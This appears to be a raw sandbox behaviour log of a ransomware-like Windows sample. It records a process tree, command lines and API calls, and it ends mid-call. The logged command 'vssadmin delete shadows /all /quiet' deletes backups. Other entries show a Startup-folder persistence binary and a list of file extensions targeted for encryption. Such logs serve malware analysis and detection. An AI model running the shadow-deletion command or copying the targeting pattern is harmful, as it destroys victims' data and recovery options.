[0201.752] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x14) returned 0x265f3887610 [0201.752] GetProcessHeap () returned 0x265f3880000 [0201.752] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x1a) returned 0x265f3886500 [0201.752] GetProcessHeap () returned 0x265f3880000 [0201.752] RtlAllocateHeap (HeapHandle=0x265f3880000, Flags=0x8, Size=0x21c) returned 0x265f38877c0 [0201.752] GetConsoleTitleW (in: lpConsoleTitle=0x265f38877d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0202.017] GetProcessHeap () returned 0x265f3880000 [0202.017] RtlReAllocateHeap (Heap=0x265f3880000, Flags=0x0, Ptr=0x265f38877c0, Size=0x64) returned 0x265f38877c0 [0202.017] GetProcessHeap () returned 0x265f3880000 [0202.017] RtlSizeHeap (HeapHandle=0x265f3880000, Flags=0x0, MemoryPointer=0x265f38877c0) returned 0x64 [0202.017] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0202.246] GetProcessHeap () returned 0x265f3880000 [0202.246] RtlFreeHeap (HeapHandle=0x265f3880000, Flags=0x0, BaseAddress=0x265f38877c0) returned 1 [0202.246] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0202.665] exit (_Code=2) Thread: id = 55 os_tid = 0xe78 Process: id = "8" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x5f757000" os_pid = "0xe28" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xe0c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 39 os_tid = 0xe2c Thread: id = 46 os_tid = 0xe48 Thread: id = 52 os_tid = 0xe64 Thread: id = 53 os_tid = 0xe70 Thread: id = 54 os_tid = 0xe74 Process: id = "9" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x2f84c000" os_pid = "0xe9c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xe0c" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 62 os_tid = 0xea0 Thread: id = 63 os_tid = 0xea8 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4d177000" os_pid = "0x5a0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xdf0" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001010b" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 64 os_tid = 0xd0c Thread: id = 65 os_tid = 0xa98 Thread: id = 66 os_tid = 0x9e4 Thread: id = 67 os_tid = 0x9c4 Thread: id = 68 os_tid = 0x9c0 Thread: id = 69 os_tid = 0x668 Thread: id = 70 os_tid = 0x664 Thread: id = 71 os_tid = 0x5e8 Thread: id = 72 os_tid = 0x5e4 Thread: id = 73 os_tid = 0x5e0 Thread: id = 74 os_tid = 0x5ac Thread: id = 75 os_tid = 0x5a4 Process: id = "11" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x27689000" os_pid = "0xf0c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xe0c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0xf10 Thread: id = 77 os_tid = 0xf44 Thread: id = 78 os_tid = 0xf54 Thread: id = 79 os_tid = 0xf58 Thread: id = 80 os_tid = 0xf5c Process: id = "12" image_name = "windowssystem32file.pe32.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe" page_root = "0x223e2000" os_pid = "0xfcc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdf0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00012605" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 81 os_tid = 0xfd0 [0217.312] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74bd0000 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="GetProcAddress") returned 0x74be51b0 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="GetModuleHandleW") returned 0x74be50d0 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="FindNextFileW") returned 0x74c3ee40 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="FindClose") returned 0x74c3ed70 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="MoveFileW") returned 0x74c1e500 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="GetFileSizeEx") returned 0x74c3ef40 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="GetModuleFileNameW") returned 0x74be5090 [0217.312] GetProcAddress (hModule=0x74bd0000, lpProcName="GetFileAttributesW") returned 0x74c3ef10 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="ExitProcess") returned 0x74be3cb0 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCommandLineW") returned 0x74be4cc0 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="GetComputerNameW") returned 0x74c132c0 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="GetComputerNameA") returned 0x74c13780 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateMutexW") returned 0x74c3eb70 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrlenW") returned 0x74be6c70 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrlenA") returned 0x74be6c50 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCurrentProcess") returned 0x74c3ea10 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="WaitForSingleObject") returned 0x74c3eca0 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="GetLogicalDrives") returned 0x74be0d20 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="GetTickCount") returned 0x74c3dd50 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="DeleteFileW") returned 0x74c3ed40 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="WideCharToMultiByte") returned 0x74be6b10 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x74c3ebb0 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="Sleep") returned 0x74be6760 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="LeaveCriticalSection") returned 0x775cb250 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="ReadFile") returned 0x74c3f090 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateFileW") returned 0x74c3ed10 [0217.313] GetProcAddress (hModule=0x74bd0000, lpProcName="OpenMutexW") returned 0x74c3ebf0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="EnterCriticalSection") returned 0x775cb2d0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="WaitForMultipleObjects") returned 0x74c3ec80 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrcmpiW") returned 0x74be6bf0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="lstrcmpiA") returned 0x74be6bd0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="DeleteCriticalSection") returned 0x775afb90 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="ReleaseMutex") returned 0x74c3ec20 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="CloseHandle") returned 0x74c3eab0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="GetVersion") returned 0x74be56c0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateThread") returned 0x74be46b0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="ExpandEnvironmentStringsW") returned 0x74be4a40 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="QueryPerformanceCounter") returned 0x74be5da0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="QueryPerformanceFrequency") returned 0x74be5dc0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="GetCurrentProcessId") returned 0x74c3ea20 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="SetFileAttributesW") returned 0x74c3f100 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="GetVolumeInformationW") returned 0x74c3f020 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="WriteFile") returned 0x74c3f180 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="SetFilePointerEx") returned 0x74c3f130 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="SetEndOfFile") returned 0x74c3f0e0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="FindFirstFileW") returned 0x74c3edf0 [0217.314] GetProcAddress (hModule=0x74bd0000, lpProcName="GetProcessHeap") returned 0x74be51f0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapReAlloc") returned 0x775bf630 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapAlloc") returned 0x775c2dc0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="HeapFree") returned 0x74be57f0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="CreatePipe") returned 0x74be4590 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="SetHandleInformation") returned 0x74c3eae0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateProcessW") returned 0x74be4610 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="CompareStringW") returned 0x74be4430 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="CompareStringA") returned 0x74be4410 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="OpenProcess") returned 0x74be5cc0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="TerminateProcess") returned 0x74be67e0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="GetSystemTime") returned 0x74be54e0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="SystemTimeToFileTime") returned 0x74be67a0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="GetLastError") returned 0x74be5010 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="CreateToolhelp32Snapshot") returned 0x74c1edc0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="Process32NextW") returned 0x74c1f8f0 [0217.315] GetProcAddress (hModule=0x74bd0000, lpProcName="Process32FirstW") returned 0x74c1f750 [0217.315] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74b20000 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="RegOpenKeyExW") returned 0x74b3e580 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="RegQueryValueExW") returned 0x74b3e5a0 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="RegSetValueExW") returned 0x74b3f530 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="RegCloseKey") returned 0x74b3ed60 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="OpenProcessToken") returned 0x74b3efb0 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="GetTokenInformation") returned 0x74b3ee90 [0217.447] GetProcAddress (hModule=0x74b20000, lpProcName="OpenSCManagerW") returned 0x74b40540 [0217.448] GetProcAddress (hModule=0x74b20000, lpProcName="OpenServiceW") returned 0x74b3fa20 [0217.448] GetProcAddress (hModule=0x74b20000, lpProcName="CloseServiceHandle") returned 0x74b3fc00 [0217.448] GetProcAddress (hModule=0x74b20000, lpProcName="ControlService") returned 0x74b526d0 [0217.448] GetProcAddress (hModule=0x74b20000, lpProcName="QueryServiceStatus") returned 0x74b42380 [0217.448] GetProcAddress (hModule=0x74b20000, lpProcName="EnumDependentServicesW") returned 0x74b52f70 [0217.448] GetProcAddress (hModule=0x74b20000, lpProcName="EnumServicesStatusExW") returned 0x74b3fc80 [0217.448] LoadLibraryA (lpLibFileName="user32.dll") returned 0x741f0000 [0217.614] GetProcAddress (hModule=0x741f0000, lpProcName="SystemParametersInfoW") returned 0x7421f210 [0217.614] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75580000 [0217.645] GetProcAddress (hModule=0x75580000, lpProcName="ShellExecuteExW") returned 0x756e4730 [0217.645] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77580000 [0217.645] GetProcAddress (hModule=0x77580000, lpProcName="NtQuerySystemInformation") returned 0x775f2070 [0217.645] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73f80000 [0217.648] GetProcAddress (hModule=0x73f80000, lpProcName="WNetCloseEnum") returned 0x73f82640 [0217.648] GetProcAddress (hModule=0x73f80000, lpProcName="WNetOpenEnumW") returned 0x73f82790 [0217.649] GetProcAddress (hModule=0x73f80000, lpProcName="WNetEnumResourceW") returned 0x73f82410 [0217.649] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x773c0000 [0217.717] GetProcAddress (hModule=0x773c0000, lpProcName="WSAStartup") returned 0x773c5b40 [0217.717] GetProcAddress (hModule=0x773c0000, lpProcName="socket") returned 0x773d4510 [0217.717] GetProcAddress (hModule=0x773c0000, lpProcName="send") returned 0x773c5030 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="recv") returned 0x773d0c50 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="connect") returned 0x773c5410 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="closesocket") returned 0x773d0910 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="gethostbyname") returned 0x773f6cb0 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="inet_addr") returned 0x773d9160 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="ntohl") returned 0x773c49d0 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="htonl") returned 0x773c49d0 [0217.718] GetProcAddress (hModule=0x773c0000, lpProcName="htons") returned 0x773d8ff0 [0217.718] GetProcessHeap () returned 0x540000 [0217.719] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x54b080 [0217.719] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=10597901796) returned 1 [0217.719] GetTickCount () returned 0x1144651 [0217.719] GetCurrentProcessId () returned 0xfcc [0217.721] GetTickCount () returned 0x1144651 [0217.721] GetTickCount () returned 0x1144651 [0217.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x54b0d0 [0217.721] GetVersion () returned 0x23f00206 [0217.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x557178 [0217.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x557978 [0217.721] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557978, Size=0x20) returned 0x54aef0 [0217.721] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x54aef0, Size=0x40) returned 0x55a368 [0217.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x55e9c0 [0217.722] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279A") returned 0x1ec [0217.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557178 | out: hHeap=0x540000) returned 1 [0217.722] lstrlenW (lpString="Global\\syncronize_") returned 18 [0217.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55a368 | out: hHeap=0x540000) returned 1 [0217.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7) returned 0x557138 [0217.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5577e0 [0217.722] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5577e0, Size=0x20) returned 0x54aef0 [0217.722] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x54aef0, Size=0x40) returned 0x55a290 [0217.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x56e9c8 [0217.722] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_E0Y279U") returned 0x1f0 [0217.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557138 | out: hHeap=0x540000) returned 1 [0217.722] lstrlenW (lpString="Global\\syncronize_") returned 18 [0217.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55a290 | out: hHeap=0x540000) returned 1 [0217.722] GetVersion () returned 0x23f00206 [0217.722] GetCurrentProcess () returned 0xffffffff [0217.722] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0217.722] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0217.722] CloseHandle (hObject=0x1f4) returned 1 [0217.722] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0217.723] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x556730 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x557768 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557768, Size=0x20) returned 0x54aef0 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x54aef0, Size=0x40) returned 0x55a6c8 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x55a6c8, Size=0x80) returned 0x5523d8 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5523d8, Size=0x100) returned 0x557590 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x34) returned 0x5597b0 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x557018 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x557138 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x557158 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x557930 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x557178 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557978 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557178, Size=0x8) returned 0x557188 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5577e0 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557188, Size=0x10) returned 0x5577f8 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557810 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557828 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5577f8, Size=0x20) returned 0x54aef0 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5579c0 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5577f8 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557018, Size=0x8) returned 0x557178 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557138, Size=0x8) returned 0x557188 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x557198 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x557750 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x557138 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557768 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557138, Size=0x8) returned 0x556fd8 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557a38 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x556fd8, Size=0x10) returned 0x5579f0 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557a50 [0217.723] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x557138 [0217.723] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5579f0, Size=0x20) returned 0x57eb18 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557178, Size=0x10) returned 0x557a80 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557188, Size=0x10) returned 0x557a98 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x557178 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x557a20 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x557188 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557a68 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557188, Size=0x8) returned 0x556fd8 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x557188 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x5579f0 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x556fe8 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557a08 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x556fe8, Size=0x8) returned 0x556ff8 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557a80, Size=0x20) returned 0x57ed48 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557a98, Size=0x20) returned 0x57ea00 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x556fe8 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x557a80 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x557008 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x557a98 [0217.724] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557008, Size=0x8) returned 0x557018 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x5566d0 [0217.724] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x556490 [0217.724] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0217.724] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557590 | out: hHeap=0x540000) returned 1 [0217.724] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0217.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x557ab0 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557ab0, Size=0x20) returned 0x57ee88 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ee88, Size=0x40) returned 0x55a3f8 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x55a3f8, Size=0x80) returned 0x557e58 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557e58, Size=0x100) returned 0x557590 [0217.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x557ab0 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557ab0, Size=0x20) returned 0x57eeb0 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57eeb0, Size=0x40) returned 0x55a368 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x55a368, Size=0x80) returned 0x557e58 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x557e58, Size=0x100) returned 0x557fa0 [0217.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x557ab0 [0217.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x582cf8 [0217.727] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x584630 [0217.727] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x582cf8, Size=0x8) returned 0x582c68 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x556510 [0217.728] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x582c68, Size=0x10) returned 0x584678 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x556790 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a) returned 0x57ee38 [0217.728] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x584678, Size=0x20) returned 0x57ed70 [0217.728] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 